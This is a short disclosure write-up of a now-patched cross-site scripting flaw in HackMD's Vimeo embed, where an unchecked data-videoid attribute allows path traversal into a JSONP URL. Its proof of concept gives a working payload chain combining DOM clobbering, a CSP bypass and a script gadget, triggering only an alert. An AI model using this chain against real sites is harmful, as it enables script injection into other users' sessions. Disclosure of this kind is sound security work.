This issue has been reported to HackMD and has been patched on hackmd.io.

Root Cause

It doesn't check data-videoid attribute at all, and directly concat it into the JSONP URL. In this way we can load arbitrary file under https://vimeo.com as JavaScript, which might cause XSS.

PoC

Step 1. Create a note with content alert(document.domain);, and

Step 2.
Create a note with the following content:

<!-- DOM clobbering + CSP Byapss  -->
<img src="/<note-id-created-in-step-1>/download" id="_zxcvbnSettings">
<!-- load gadget  -->
<div class="vimeo raw" data-videoid="../../../blog/wp-includes/js/zxcvbn-async.js#"></div>

Step 3. View it and trigger the XSS!

Technical Detail (Chinese): https://blog.splitline.tw/hackmd-xss/